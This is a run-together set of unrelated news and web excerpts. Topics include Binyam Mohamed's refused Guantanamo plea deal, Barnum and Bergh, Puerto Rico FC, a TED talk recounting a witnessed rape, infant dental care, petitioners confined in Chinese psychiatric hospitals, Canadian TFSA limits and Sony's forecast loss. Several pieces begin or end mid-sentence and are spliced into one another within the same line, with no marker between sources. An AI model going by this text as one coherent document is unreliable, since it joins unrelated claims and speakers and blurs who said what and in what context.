After several requests to meet with Neil Portnow, Kanye's wishes were answered when Portnow publicly agreed to sit down with 'Ye. Until the awards next year the Academy will have tons of music from 'Ye, Future and Thugga to choice from.The deal would have prevented Mr Mohamed suing the US, or Britain, over his alleged ill-treatment and he would have been prevented from revealing his allegations publicly to the media.
Mr Mohamed, an Ethiopian national, refused the deal and was eventually allowed to return to his adoptive country Britain last month.
Documents released by the High Court in London showed the draft plea bargain agreement was put forward last year by US government lawyers and required Mr Mohamed to plead guilty to two charges in return for a lighter sentence.
The maximum period of imprisonment would have been 10 years but any sentence over one year would have been suspended, meaning he would be freed quickly.
Mr Mohamed would have had to agree not to take part in any legal challenge relating to his "capture, detention or prosecution" against the US, or any of its allies, and any rights to compensation would be assigned to the US government.
He would also have been required to abandon a legal attempt to obtain documents which he believed could prove his innocence.
Clive Stafford Smith, Mr Mohamed's lawyer, said: "This reflects the way the US government has consistently tried to cover up the truth of Binyam Mohamed's torture.
"He was being told he would never leave Guantanamo Bay unless he promised never to discuss his torture, and never sue either the Americans or the British to force disclosure of his mistreatment.
"Gradually the truth is leaking out and the governments on both sides of the Atlantic should pause to consider whether they should continue to fight to keep this torture evidence secret."
Mr Mohamed alleges that he was tortured during more than six years in detention as a terror suspect.
He was first arrested in Pakistan in April 2002 as he tried to fly back to London on a false passport. He claims he was then taken to Morocco and a local interrogator repeatedly sliced his genitals with a scalpel.
Mr Mohamed claims he was asked questions about his life in London which could only have been supplied by British intelligence services.
According to his account he was later moved to a secret CIA prison in Kabul, Afghanistan which resembled a medieval dungeon and was bombarded with rap music 24 hours a day.
He was moved to Guantanamo Bay, Cuba in 2004, where he confessed to attending lectures by Osama bin Laden, and being sent to America to carry out a "dirty bomb" attack.
Mr Mohamed claims the confessions were a result of torture and the charges against him were dropped.
David Miliband, the Foreign Secretary, has referred to the Attorney General the question of whether British agents were complicit in torturing Mr Mohamed and whether to bring a prosecution.
In October Lord Justice Thomas and Mr Justice Lloyd Jones, at the High Court in London, said the US government was doing "all it could" to avoid disclosing documents relating to the case.
Details of the proposed plea bargain were not included in their October judgment, but the judges said it was now right to reveal it in line with "principles of open justice and the rule of law".You’ve got to see this to believe it. Grand Master Rayllamm from Brazil has 12 black belts including an unheard of 7th degree black belt in grappling (sic).
He is an “expert” in the following Muay Thai, Self Defense, Krav Maga, Bodyguard Security Police Method (new method) and therapy techniques Chinese (Massage Therapy, Holistic, Tui-Na, Reflexology, Shiatsu, Massage Therapy, Bambuterapia, among others).
s in Japan
His credentials, from the site http://www.grandesmestresmarciais.com.br/?p=mestres&cat=12&id=280
· Grand master of kung-fu 7th Thuen
· Grandmaster of Muay-Thai gold Kruang
· Master grappling black belt 7th dan red tip
· Professor of kick-boxing black belt 4th degree
· Professor of MMA black belt 5th dan
· Teacher of Tai Chi Chuan
· Professor of Jiu-Jitsu 1st Dan
· Teacher of aikido black belt 5th dan
· Professor of personal defense black belt 5th dan
· Teacher security guard back method policeman 6th dan
· Teacher Centre located Chinese
· Professor of Krav Maga 5th dan
· Technical Chinese oriental massage
· Technical bamboo massage therapy
· Technician holistic therapeutic massage tui-ná reflexology and shiatsu
· Instructor eastern yoga
Interesting way to disarm a gunman: with a flying scissor attack and shrimping on the floor!
He likes footlocks:At the close of a bareback-riding routine, Barnum himself entered the arena to roaring applause. He calmed the crowd and announced that though he realized he might end the day under arrest, “Mr. Bergh or I must run this show.” The hoops were set ablaze as the “fire-horse” was led into the ring by his trainer. Barnum grabbed his hat and stuck his hand into the flames. Seventy years old but spirited, the entertainer stepped through the fiery hoop, and in short order he was followed by 10 clowns, Salamander and, at Barnum’s invitation, Superintendent Hartfield of the ASPCA. Satisfied on the point of the horse’s safety, Hartfield and a delighted audience called victory for the entertainer.
Reflecting on the performance in his autobiography, Barnum refused to crush Bergh or his agenda in that moment: “Although I was forced to resent his ill-advised interference, this episode did not impair my personal regard for Mr. Bergh and my admiration of his noble works.” Perhaps the most notable legacy of Bergh and Barnum is that despite—or perhaps because of—their public sparring, the two men developed a warm and knowing friendship that elevated the profile of animal-rights advocacy at a key historical moment.
The two were chummy to mutual benefit: Bergh stocked the ASPCA library with copies of Barnum’s autobiography, and Barnum cheerily referred to himself as the “Bergh of Bridgeport” in his work on the board of the local SPCA chapter. (Barnum was the city’s mayor and lived much of his life there.) Thanks in large part to Barnum’s celebrity and the visibility it afforded the animal-rights cause, a public shift was demonstrable. The New York Tribune, which in 1874 had rolled its eyes at Bergh with the admonition that “Christ selected his apostles from a class of men whom Mr. Bergh would have prosecuted for torturing and slaying fish,” later changed its tune on Bergh’s excesses. An 1888 edition claimed: “In any large view of the subject, these ought to be soon lost to sight. The good results of his mission are almost incalculable.”
In his later years, it was clear Bergh had taken his media training to heart. In a typically plainspoken letter to Barnum, he asked: Will your estate provide for the animals whose labor has made your fame and fortune? Barnum obliged, writing sizable donations to humane organizations into his will—and for good measure, he added a bequest to the city of Bridgeport to erect a statue of Bergh. A monument in Bergh’s honor, topped with a prancing horse, was placed in Bridgeport’s Seaside Park in 1897 and stands today.
As the circus performs its last shows this month, it’s worth remembering that Barnum, for all his flaws, believed that his role was not simply to read the public taste and provide corresponding entertainment, but also to work toward the moral improvement of society (so much as the plan fit a certain white, affluent, Christian version of things). Unlike Bergh, who loved service for its own sake, Barnum openly preferred wealth through service. And he was happy to elevate a resonant social cause so long as the tide also carried his own boat. Indeed, had he been alive, Barnum may have even encouraged the elephants’ final bow: For as much as he valued his animal performers and their role in his success, if there were a time when they went so far against public opinion as to be unmarketable, he’d have been behind the final curtain, cooking up the next big thing.
We want to hear what you think about this article. Submit a letter to the editor or write to [email protected], PUERTO RICO FC
by JAKE NUTTING
It could be considered one of the biggest missed connections in the history of U.S. soccer. There are over 700,000 proud Puerto Ricans living in New York City, and yet tragically, the Puerto Islanders folded up shop just six months after the New York Cosmos announced their return to the field for the 2013 season.
However, the Caribbean island is back in the NASL this year — thanks to the financial backing of owner and New York Knicks star Carmelo Anthony. The new club goes by the straightforward name of Puerto Rico FC, so those in New York who have been eagerly awaiting a chance to support a club tied to their Island roots won’t have the nostalgia of the Islanders name.
But that can be pushed aside after four years of waiting.
Several hundred Puerto Ricans are expected to pack into Shuart this weekend to cheer on the newly minted club that kicked off its inaugural season at the start of July. Helping to organize the support on Saturday (and at every away match so far for the expansion side) is La Legión Extranjera — a worldwide supporters group for PRFC.
The Legion actually out-dates the nascent club that it now rallies behind. The core group of members living outside of Puerto Rico who help lead the group did the same for the defunct Islanders and has always operated with the main purpose of coordinating away support for the Island’s clubs.
“That is our main goal because we are part of that audience,” says Kristian Vazquez, a Legion member based in Miami. “In Puerto Rico there is already a very solid group of supporters so we’re trying to fill that other gap of fans outside of the Island. But more importantly, there is a very large population of Puerto Ricans living outside the Island and that number is only growing.
“For us, there is always a desire to support our sports teams, our cultural activities, etc. and on the other hand it definitely helps with that sense of home sickness to hear your anthem before the game and see homegrown talent like Hector ‘Pito’ Ramos headline the team.”
PRFC’s tough task in building a roster less than year after the announcement that they would join also posed a challenge for the Legion, with leadership member Rafael Hernandez of DC saying they are still in “rebuild and reconnect mode” in the first month of play. Still, though, the showing has been mightily impressive for PRFC’s first three away matches thanks to outreach on social media.
“We’ve seen several hundred fans in Tampa Bay and Jacksonville, which is great,” says Vazquez. “Florida has a very large Puerto Rican community so we expected to see fans at those games but I have been pleasantly surprised with how many people have been showing up to support the team. While many of them already enjoy soccer, there is a group that shows up to support their team from Puerto Rico and hopefully become further invested in the sport.”
With Jacksonville, Oklahoma City and Tampa Bay serving as a warm up act of sorts, all eyes will now be on what kind of turnout PRFC can muster in New York — the city which remains the largest home to Puerto Ricans in the states.
“I think this game will certainly be a big one to see how many people come out and support the team,” explains Vazquez. “NYC is not a market that the Islanders really visited much so we are all interested in seeing how many fans come out. Also, with the Carmelo Anthony and Puerto Rican Day Parade connection there is hope that the community in the city embraces the team or takes some interest at least.”
The Cosmos will also be curious to see what kind of crowd Saturday’s match pulls in. The club has struggled to draw consistently at Shuart, but the possibility of hosting a derby-like atmosphere in the absence of any geographic rivals within the NASL offers them a unique opportunity.
“There’s a strong connection between the New York and Puerto Rican communities,” offers Cosmos COO Erik Stover. “Many families are split between the two areas. Over time we think a strong rivalry can build between the two clubs.
“At the moment, the NASL has few visiting fans because of the travel distances. Hopefully we’ll see a lot of PRFC at our game this weekend and that Cosmos fans will chose Puerto Rico as an annual road trip.”
Vazquez echoes the sentiment that a potential rivalry between PRFC and the Cosmos is an exciting prospect, saying “Definitely! I think it would be very interesting to have the team’s first rivalry in a market that already means a lot to the team through the Puerto Rican community in the city as well as Carmelo.”In this TED video sent in by BlackCat and Chana Messinger, Tony Porter gives a nice introduction to what it means — for men, women, sons, and daughters — that men are confined by the dictates of masculinity. (Trigger warning: at about the 9 minute mark, there is a story about a sexual assault.)
Transcript after the jump (thanks to DECIUS for posting it in the comments).
I grew up in New York City, between Harlem and the Bronx. Growing up as a boy, we were taught that men had to be tough, had to be strong, had to be courageous, dominating — no pain, no emotions, with the exception of anger — and definitely no fear — that men are in charge, which means women are not; that men lead, and you should just follow and do what we say; that men are superior, women are inferior; that men are strong, women are weak; that women are of less value — property of men — and objects, particularly sexual objects. I’ve later come to know that to be the collective socialization of men, better known as the “man box.” See this man box has in it all the ingredients of how we define what it means to be a man. Now I also want to say, without a doubt, there are some wonderful, wonderful, absolutely wonderful things about being a man. But at the same time, there’s some stuff that’s just straight up twisted. And we really need to begin to challenge, look at it and really get in the process of deconstructing, redefining, what we come to know as manhood.
This is my two at home, Kendall and Jay. They’re 11 and 12. Kendall’s 15 months older than Jay. There was a period of time when my wife, her name is Tammie, and I, we just got real busy and whip, bam, boom: Kendall and Jay. (Laughter) And when they were about five and six, four and five, Jay could come to me, come to me crying. It didn’t matter what she was crying about, she could get on my knee, she could snot my sleeve up, just cry, cry it out. Daddy’s got you. That’s all that’s important.
Now Kendall on the other hand — and like I said, he’s only 15 months older than her — he came to me crying, it’s like as soon as I would hear him cry, a clock would go off. I would give the boy probably about 30 seconds, which means, by the time he got to me, I was already saying things like, “Why are you crying? Hold your head up. Look at me. Explain to me what’s wrong. Tell me what’s wrong. I can’t understand you. Why are you crying?” And out of my own frustration of my role and responsibility of building him up as a man to fit into these guidelines and these structures that are defining this man box, I would find myself saying things like, “Just go in your room. Just go on, go on in your room. Sit down, get yourself together and come back and talk to me when you can talk to me like a –” What? (Audience: Man.) “like a man.” And he’s five years old. And as I grow in life, I would say to myself, “My God, what’s wrong with me? What am I doing? Why would I this?” And I think back. I think back to my father.
There was a time in my life where we had a very troubled experience in our family. My brother, Henry, he died tragically when we were teenagers. We lived in New York City, as I said. We lived in the Bronx at the time. And the burial was in a place called Long Island, it was about two hours outside of the city. And as we were preparing to come back from the burial, the cars stopped at the bathroom to let folks take care of themselves before the long ride back to the city. And the limousine empties out. My mother, my sister, my auntie, they all get out, but my father and I stayed in the limousine. And no sooner than the women got out, he burst out crying. He didn’t want cry in front of me. But he knew he wasn’t going to make it back to the city, and it was better me than to allow himself to express these feelings and emotions in front of the women. And this is a man who, 10 minutes ago, had just put his teenage son in the ground — something I just can’t even imagine. The thing that sticks with me the most is that he was apologizing to me for crying in front of me. And at the same time, he was also giving me props, lifting me up, for not crying.
I come to also look at this as this fear that we have as men, this fear that just has us paralyzed, holding us hostage to this man box. I can remember speaking to a 12 year-old boy, a football player, and I asked him, I said, “How would you feel if, in front of all the players, your coach told you you were playing like a girl?” Now I expected him to say something like, I’d be sad, I’d be mad, I’d be angry, or something like that. No, the boy said to me — the boy said to me, “It would destroy me.” And I said to myself, “God, if it would destroy him to be called a girl, what are we then teaching him about girls?”
(Applause)
It took me back to a time when I was about 12 years old. I grew up in tenement buildings in the inner-city. At this time we’re living in the Bronx. And in the building next to where I lived there was a guy named Johnny. He was about 16 years old, and we were all about 12 years old — younger guys. And he was hanging out with all us younger guys. And this guy, he was up to a lot of no good. He was the kind of kid who parents would have to wonder, “What is this 16 year-old boy doing with these 12 year-old boys?” And he did spend a lot of time up to no good. He was a troubled kid. His mother had died from a heroin overdose. He was being raised by his grandmother. His father wasn’t on the set. His grandmother had two jobs. He was home alone a lot. But I’ve got to tell you, we young guys, we looked up to this dude. He was cool. He was fine. That’s what the sisters said, “He was fine.” He was having sex. We all looked up to him.
So one day, I’m out in front of the house doing something — just playing around, doing something — I don’t know what. He looks out his window, he calls me upstairs, he said, “Hey Anthony.” They called my Anthony growing up as a kid. “Hey Anthony, come on upstairs.” Johnny call, you go. So I run right upstairs. As he opens the door, he says to me, “Do you want some?” Now I immediately knew what he meant. Because for me growing up at that time, and our relationship with this man box, do you want some meant one of two things, sex or drugs — and we weren’t doing drugs. Now my box, card, man box card, was immediately in jeopardy. Two things: One, I never had sex. We don’t talk about that as men. You only tell your dearest, closest friend, sworn to secrecy for life, the first time you had sex. For everybody else, we go around like we’ve been having sex since we were two. There ain’t no first time. (Laughter) The other thing I couldn’t tell him is that I didn’t want any. That’s even worse. We’re supposed to always be on the prowl. Women are objects, especially sexual objects.
Anyway, so I couldn’t tell him any of that. So, like my mother would say, make a long story short. I just simply said to Johnny, “Yes.” He told me to go in his room. I go in his room. On his bed is a girl from the neighborhood named Sheila. She’s 16 years old. She’s nude. She’s what I know today to be mentally ill, higher functioning at times than others. We had a whole choice’s-worth of inappropriate names for her. Anyway, Johnny had just gotten through having sex with her. Well actually, he raped her, but he would say he had sex with her. Because, while Sheila never said no, she also never said yes.
So he was offering me the opportunity to do the same. So when I go in the room, I close the door. Folks, I’m petrified. I stand with my back to the door so Johnny can’t bust in the room and see that I’m not doing anything. And I stand there long enough that I could have actually done something. So now I’m no longer trying to figure out what I’m going to do, I’m trying to figure out how I’m going to get out of this room. So in my 12 years of wisdom, I zip my pants down, I walk out into the room. And lo and behold to me, while I was in the room with Sheila, Johnny was back at the window calling guys up. So now there’s a living room full of guys. It was like the waiting room in the doctor’s office. And they asked me how was it. And I say to them, “It was good.” And I zip my pants up in front of them, and I head for the door.
Now I say this all with remorse, and I was feeling a tremendous amount of remorse at that time, but I was conflicted, because, while I was feeling remorse, I was excited, because I didn’t get caught, but I knew I felt bad about what was happening. This fear getting outside the man box totally enveloped me. It was way more important to me, about me and my man box card than about Sheila and what was happening to her.
See collectively, we as men are taught to have less value in women, to view them as property and the objects of men. We see that as an equation that equals violence against women. We as men, good men, the large majority of men, we operate on the foundation of this whole collective socialization. We kind of see ourselves separate, but we’re very much a part of it. You see, we have to come to understand that less value, property and objectification is the foundation and the violence can’t happen without it. So we’re very much a part of the solution as well as the problem. The center for disease control says that men’s violence against women is at epidemic proportions, is the number one health concern for women in this country and abroad.
So quickly, I’d like to just say, this is the love of my life, my daughter Jay. The world I envision for her, how do I want men to be acting and behaving? I need you on board. I need you with me. I need you working with me and me working with you on how we raise our sons and teach them to be men — that it’s okay to not be dominating, that it’s okay to have feelings and emotions, that it’s okay to promote equality, that it’s okay to have women who are just friends and that’s it, that it’s okay to be whole, that my liberation as a man is tied to your liberation as a woman.
I remember asking a nine year-old boy. I asked a nine year-old boy, “What would life be like for you, if you didn’t have to adhere to this man box?” He said to me, “I would be free.”
Thank you folks.
(Applause)Greetings Fellow Avatars!
Here’s what we have for you in this week’s edition of Update of the Avatar:
Pre-Order Now: The Sword |
pediatric dentist and mother of two from Redmond, Wash., said she tries to stress preventative measures as much as possible since saliva transfer between parent and child is almost “unavoidable.”
“When you look at a lab test, yes, there’s transfer of bacteria, but in real life, you’re not going to be able prevent that. You can’t live in a bubble,” she said. “But you can maintain good hygiene practices and a good diet, and the parents can take care of their own oral health and focus on preventative care like flossing and dental checkups and chewing Xylitol gum if they’re at high risk for decay.”
Both dentists also point to a surefire workaround.
“You could do just about everything as long as you wipe that baby’s mouth out repeatedly with a clean wet cloth,” said Soxman. “I tell parents to wipe the baby’s mouth out as often as they change the diaper. Wipe the tongue, the teeth, and the cheeks from infancy on. Then the colonies of bacteria won’t be established.”Mr. Xu’s ordeal exemplifies far broader problems in China ’s psychiatric system: a gaping lack of legal protections against psychiatric abuses, shaky standards of medical ethics and poorly trained psychiatrists and hospital administrators who sometimes feel obliged to accept anyone — sane or not — who is escorted by a government official.
No one knows how often cases like Mr. Xu’s occur. But human rights activists say confinements in mental hospitals appear to be on the rise because the local authorities are under intense pressure to nip social unrest in the bud, but at the same time are less free than they once were to jail people they consider troublemakers.
“The police know that to arbitrarily detain someone is illegal. They have to worry about that now,” said Huang Xuetao, a lawyer in Shenzhen, in Guangdong Province, who specializes in mental health law. “But officials have discovered this big hole in the psychiatric system, and they are increasingly taking advantage of it.”
Worse, Ms. Huang said, the government squanders its meager health care resources confining harmless petitioners like Mr. Xu while neglecting people desperately in need of help.
She and a colleague recently analyzed 300 news reports involving people who had been hospitalized for mental illness and others who had not. “Those who needed to be treated were not and those who should not have been treated were treated and guarded,” their study concluded.
Liu Feiyue, the founder of Civil Rights and Livelihood Watch, a Chinese human-rights organization, said his group had compiled a database of more than 200 Chinese citizens who were wrongly committed to mental hospitals in the past decade after they filed grievances — called petitions in China — against the government.
He said he suspected that the real number was much higher because his organization’s list was compiled mostly from accounts on the Internet.
Advertisement Continue reading the main story
“The government has no place to put these people,” he said.
China no longer discloses how many petitioners seek redress, but the government estimated in 2004 that more than 10 million people write or visit the government with petitions each year. Only two in a thousand complaints are resolved, according to research cited in a study this year by Tsinghua University in Beijing.
In annual performance reviews of local government officials, reducing the number of petitioners is considered a measure of good governance. Allowing them to band together, and possibly stir up broader unrest, is an significant black mark that can lead to demotion.
Classified as Crazy
The most dogged petitioners are often classified as crazy. In an interview last year, Sun Dongdong, chief of forensic psychiatry at prestigious Peking University, said, “I have no doubt that at least 99 percent of China’s pigheaded, persistent ‘professional petitioners’ are mentally ill.” He later apologized for what he said was an “inappropriate” remark.
Yan Jun, who heads the Ministry of Health’s mental health bureau, declined repeated requests for an interview on whether petitioners were wrongly confined and other issues with the mental health system.
Yu Xin, a director of Peking University’s Institute of Mental Health and an advocate of mental health reforms, said he did not believe that the confinement of petitioners was a widespread problem.
But he criticized the absence of safeguards, saying China badly needed a national mental health law, national guidelines for involuntary commitment and better ethics training for psychiatrists. Given the current legal vacuum, he said, “Mental health professionals must be very careful not to be used by local officials.”
Photo
A decade ago, Human Rights Watch accused China of locking up dissidents and members of the Falun Gong spiritual group in a cluster of Chinese mental hospitals run by the Public Security Bureau. The World Psychiatric Association requested access to the hospitals, but China refused, and the controversy died down.
In a recent interview, Levent Kuey, the association’s secretary general, said that the organization had not taken further action because it had concluded that it was better to help China to improve its mental health system than to ostracize it.
Advertisement Continue reading the main story
Mr. Liu’s database suggests that petitioners are today’s most frequent victims of psychiatric abuse, outnumbering political dissidents and Falun Gong members combined.
Wu Yuzhu, a hospital administrator in the eastern province of Shandong, said in 2008 that local officials had delivered many obviously sane petitioners to him for confinement.
He admitted them, he said, because public security officers accompanied them and because his own staff felt powerless to challenge the diagnoses of government-hired psychiatrists. He added that his hospital, the Xintai Mental Health Center, was cash-strapped and welcomed government-subsidized patients.
Indeed, hospital officials sometimes cite petitioning as the sole reason for a patient’s confinement. Commitment papers for one 44-year-old man, hospitalized for two months in 2008 in Hubei Province, stated simply: “The patient was hospitalized because of years of petitioning.”
A Mental Health ‘Mess’
According to legal experts, relatives, legal guardians or local public security bureaus, which among other duties are charged with tamping down dissent, can involuntarily commit a psychiatric patient. But Ms. Huang, the mental health lawyer, described existing regulations and procedures as “a mess.”
Only 6 of China’s 283 cities have a local mental health ordinance. “There is no way for patients who are committed for treatment to complain, appeal or prosecute,” Ms. Huang’s report states. The report says that hospitals tend to grant releases only with the agreement of whoever committed the patient, although they also release patients who need continued treatment but whose bills go unpaid.
Chen Miaocheng discovered the system’s blind alleys in 1995, when his employer, with his brother’s permission, forcibly committed him to Huilongguan Hospital in Beijing.
According to medical records, doctors there diagnosed Mr. Chen as paranoid schizophrenic. After six months of treatment and medication, they decided that he no longer suffered from hallucinations and was able to care for himself, the records show.
Advertisement Continue reading the main story
But he was never released. After 13 years, Mr. Chen, who had repeatedly pleaded to be let out, died in the hospital of pneumonia.
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
This past June, a Beijing district court ruled that the company, China Petroleum and Chemical Corporation, did not violate Mr. Chen’s rights by hospitalizing him and that his death was not related to his confinement. Li Renbing, who represented Mr. Chen’s family, says that the court never addressed the issue of why Mr. Chen was not released.
“There should never be a situation where once you are sent to a mental hospital, you are left to rot there forever,” he said.
Mr. Li says Mr. Chen’s is an extreme case of wrongful confinement. But petitioners who end up in mental hospitals often find themselves similarly powerless.
Consider 36-year-old Jin Hanyan, who decided in 2008 after six years of failed petitions to complain directly to Beijing officials that she had been unfairly denied a government job.
On her arrival last September, she said, she and her younger sister were handcuffed, stripped of their cellphones and documents, and driven to their hometown in Hubei Province by men who described themselves as public security officers.
Four days later, Ms. Jin’s sister was committed to the city’s psychiatric hospital. Ms. Jin was confined to the psychiatric ward of the Shiyan City Red Cross Hospital — an institution with no affiliation to the International Red Cross — nine miles away.
Xue Huanying, a nurse, was not happy to see her. In a conversation secretly taped by Ms. Jin’s father, the nurse said that the government was forced to confine Ms. Jin at a cost of 5,000 renminbi, or about $735 a month, merely to stop her useless petitions.
She said petitioners were repeatedly hospitalized for that reason. “Lots of people like this! Lots!” she shouted.
Photo
“I’ve seen so many petitioners. I have never seen one who has been caught for no reason,” she continued. “I mean, you are just an average person. Just how far do you think you’re going to get by going up against the government? Right, exactly what can you do as an average citizen, a farmer working the land? Can you afford to anger those above you?”
Advertisement Continue reading the main story
Ms. Jin said she was forced to swallow three pills a day, given injections that made her so dizzy she could barely walk, tied to her bed and beaten.
When she complained, she said, the head of the psychiatric ward told her: “We will treat you the way officials tell us to.”
She was released seven months later after relatives hired a lawyer. “What they are trying to do is completely destroy your mind and weaken your body to the point where you go crazy,” she said. “That’s when you will stop petitioning, they hope.”
The hospital declined to comment on her case.
Petitions Produce Nightmare
The travails of Xu Lindong, imprisoned for six and a half years in two mental hospitals, began when he tried to help his illiterate neighbor, Zhang Guizhi, pursue a claim for a four-foot-wide strip of land next to her home. The two lived a stone’s throw apart in a village of about 2,000 people, surrounded by cornfields. Mrs. Zhang, who is handicapped from polio, claimed that officials had wrongly given her property to a rich neighbor.
After losing her claim in court, Mrs. Zhang and Mr. Xu began hauling a cardboard box full of documents from petition office to petition office, hoping to find a sympathetic ear higher up the bureaucratic ladder. In September 2003, Mr. Xu said, he was picked up by public security officers in Beijing. Instead of hauling him home as usual, he was driven to Zhumadian Psychiatric Hospital. He said a doctor asked him exactly two questions before admitting him: his name and address.
Mr. Xu said he spent most of the time locked in his room, lying on a thin green mattress on a iron bed. He was allowed outside only two or three times a year, he said. Hospital staff sometimes covered his head in blankets so he could not breathe, he said, and invited other patients to beat him up.
During one electric- shock treatment, he said, he bit his tongue so badly that for weeks afterward he could eat only by putting bits of food on the tip of a finger and pushing them down his throat.
Advertisement Continue reading the main story
Mr. Xu’s brother said in an interview that it took him four years to discover his brother’s whereabouts. He tried to hire a lawyer, he said, but lawyers shunned the case for fear of drawing the local government’s wrath.
Finally, news of the case reached journalists at a local newspaper and China Youth Daily, a national publication, which published articles about his case. Two days later, Mr. Xu was released. Four local officials were fired, including the man who served as the county Communist Party secretary when Mr. Xu was committed.
Mr. Xu is now ensconced back in his simple concrete and brick house, furnished with a broken-down wooden dresser and bed. “I hope by exposing this, society will progress,” he said, sitting on a low stool, feet clad in blue plastic sandals.
Some villagers are upset that he is talking about his experience. Spotting him on a dirt road recently, one neighbor turned her back in a grand gesture, fanning herself furiously and shouting curses over her shoulder.
“Fine, fine, you are right,” he replied, unruffled.
Local officials, on the other hand, are showering him with visits and gifts: a case of canned soft drinks, new metal-rimmed eyeglasses, an electricity hook-up to his house and about $300 in compensation for his seven years of confinement and torture.
“If the hospital’s doctors had not diagnosed him as mentally ill, this whole situation would not have happened,” said Zhang Weili, the district government’s vice director of propaganda. “I don’t want you to think this is a government that intentionally harms its citizens.”
After Mr. Xu’s case came to light, he said, officials swept the county’s records for similar instances and found none. Somehow, however, they missed Mrs. Zhang, the handicapped 65-year-old neighbor whose land dispute landed him in confinement to begin with.
Mrs. Zhang said she was forced into a different mental hospital and released a year later only after her daughter hired a lawyer. She not only never won back her small strip of land, she said, but was forced to abandon her village home for a squalid tenement to avoid harassment by her neighbors.
Advertisement Continue reading the main story
“I have always known that I would never win against the government,” she said. “But I am just so angry I can’t get over it. If this is the last thing I do, I will keep fighting them.”
Mr. Xu’s brother initially opposed his brother’s efforts to help Mrs. Zhang, arguing it was not his family’s business. Now he is also infuriated. “I just cannot swallow this injustice,” he said. “The government wants to protect its power. It is not here to protect its citizens.”
Still, he said, “Eventually the truth comes out.”Just how much Canadians should be allowed to stash in their tax-free savings accounts is expected to become an election issue, after NDP Leader Tom Mulcair and Liberal Leader Justin Trudeau repeated promises this week to roll back a Conservative budget measure that nearly doubled the contribution limit on such accounts.
In interviews with CBC's Peter Mansbridge broadcast this week, both opposition leaders confirmed they would scrap the Conservative move, unveiled in this year's federal budget, to increase the limit for a tax-free savings account (TFSA) from $5,500 to $10,000.
"The doubling of it is irresponsible," Mr. Trudeau said. "It's only the wealthiest Canadians who have $10,000 laying around at the end of the year that they can put into that."
Story continues below advertisement
The accounts allow taxpayers to avoid paying tax on the interest and investment income they receive from the money they have saved, which is contributed after tax. Critics say the accounts, and the recent hike to the annual limit, disproportionately help the wealthy.
After the April budget, government officials said that Canadians were free to contribute up to $10,000 to their accounts immediately. Now, if either Mr. Trudeau or Mr. Mulcair become prime minister, that limit might sink back down to $5,500, but probably not until next year.
Jamie Golombek, managing director of tax and estate planning with CIBC in Toronto, said any change to the $10,000 limit that follows a change in government is unlikely to take effect until 2016 or even 2017.
People should feel free to contribute to the $10,000 limit, at least for this year, he said, no matter what happens on election night, as rushing a change through Parliament before next year's budget, while possible, isn't likely.
"They certainly don't want to deal with a legislative nightmare, of people acting on legislation that has been passed," Mr. Golombek said. "I think there is no chance that they would change the limit for 2015."
He couldn't say how much take-up there had been for the increased limit: "Certainly, when speaking with clients that have the cash, pretty much everyone we've spoken to has done it. The message we've been telling our clients is, if you've got $10,000 sitting around in a non-registered account, there is no reason not maximize your TFSA."
A survey of Canadians conducted for CIBC and released in May found that about 34 per cent of respondents either didn't have the money to take advantage of the new higher limit, or had other investment plans. Only 10 per cent said they typically invest the maximum amount in their tax-free savings plans and intended to invest $10,000.
Story continues below advertisement
Story continues below advertisement
According to a report by Simon Fraser University professor Rhys Kesselman and released by the left-leaning Broadbent Institute, the existing TFSAs were underused even before this year's increase in the annual contribution limit. The report says Canadians have nearly $600-billion in unused contribution room in their TFSAs, and 17 million eligible Canadians have not yet opened a TFSA.TOKYO (Reuters) - Japan’s Sony Corp will likely suffer an annual operating loss of about $1.1 billion, its first such loss in 14 years, due to sluggish sales and a stronger yen, a person with knowledge of the matter said.
A man looks at Sony Corp television sets at an electronics shop in Tokyo January 13, 2009. REUTERS/Kim Kyung-Hoon
Shares of Sony tumbled 9 percent, slicing $2 billion off its market value to $22 billion, while rival Toshiba Corp dropped more than 8 percent after Japanese media said it too was headed for a big loss this financial year.
The global economic slump has dampened demand for electronics products, causing inventories to pile up and prices to tumble, and Sony is feeling the pinch of the downturn in every corner of its operations, which range from semiconductors to movies and insurance.
If it posts such a loss, management could come under pressure to pursue bolder restructuring than the plan unveiled last month that called for curbing investment, exiting businesses and cutting 16,000 jobs. That included 8,000 regular workers, or roughly 4 percent of its global workforce.
“I think there’s a good chance the company will further accelerate its restructuring from what has been announced in December,” said Daiwa Institute of Research analyst Kazuharu Miura.
Sony will likely need to pursue more drastic measures, such as laying off more full-time employees and selling its financial unit which has been hurt by falling stock prices, market participants say.
Sony may post an operating loss of 100 billion yen ($1.1 billion) in the business year to March 31, instead of its previously estimated 200 billion yen profit, said the source, who spoke on condition of anonymity because Sony has not yet revised its forecasts.
The Nikkei business daily had reported earlier that the loss could double to around 200 billion yen depending on the extent of inventory build-up in the January-March quarter.
Analysts on average see an annual profit of 18.5 billion yen, a poll of 18 brokerages by Reuters Estimates showed.
Sony spokeswoman Mami Imada said the loss figure was speculation and declined to comment further. Similar reports appeared in other media. The company is scheduled to announce its quarterly earnings results on January 29.
The severe downturn has also pushed rival Panasonic Corp to slash its outlook and step up restructuring measures, while media said Toshiba would likely plunge into an annual operating loss for the first time in seven years because of its deteriorating chip business.
The Nikkei newspaper said Toshiba’s operating loss will likely be around 200 billion yen, against the company’s October forecast for a 150 billion yen profit and a projection of a 31 billion yen profit in a poll of 16 brokerages by Reuters Estimates. Toshiba also suffers from weak demand for flat TVs and personal computers.
Toshiba spokeswoman Kaori Hiraki said the loss estimate was not issued by the company, which is still reviewing its earnings forecasts.
MORE RESTRUCTURING
Sony, the maker of Bravia flat TVs, Cyber-shot digital cameras and PlayStation game machines competes with Samsung Electronics in TVs, Canon Inc in digital cameras, and Microsoft Corp and Nintendo in video games.
Some analysts have predicted Sony will post an operating loss in the current year to March 31 while Sony itself had said in October that it may fall short of its forecast for a 200 billion yen profit due to the yen’s strength.
But the news has nevertheless fueled speculation that Sony may have to undertake further restructuring steps as its $1.1 billion savings plan has been seen as insufficient.
“Sony could reduce the number of products it offers, and it may also have to consider selling off its financial unit,” JPMorgan analyst Yoshiharu Izumi said.
“Even though external factors are the main reason (for the likely loss), the management team is partly the cause for the long delay in turning around its TV business,” he added. “They may have to take responsibility for that since the company is cutting personnel now.”
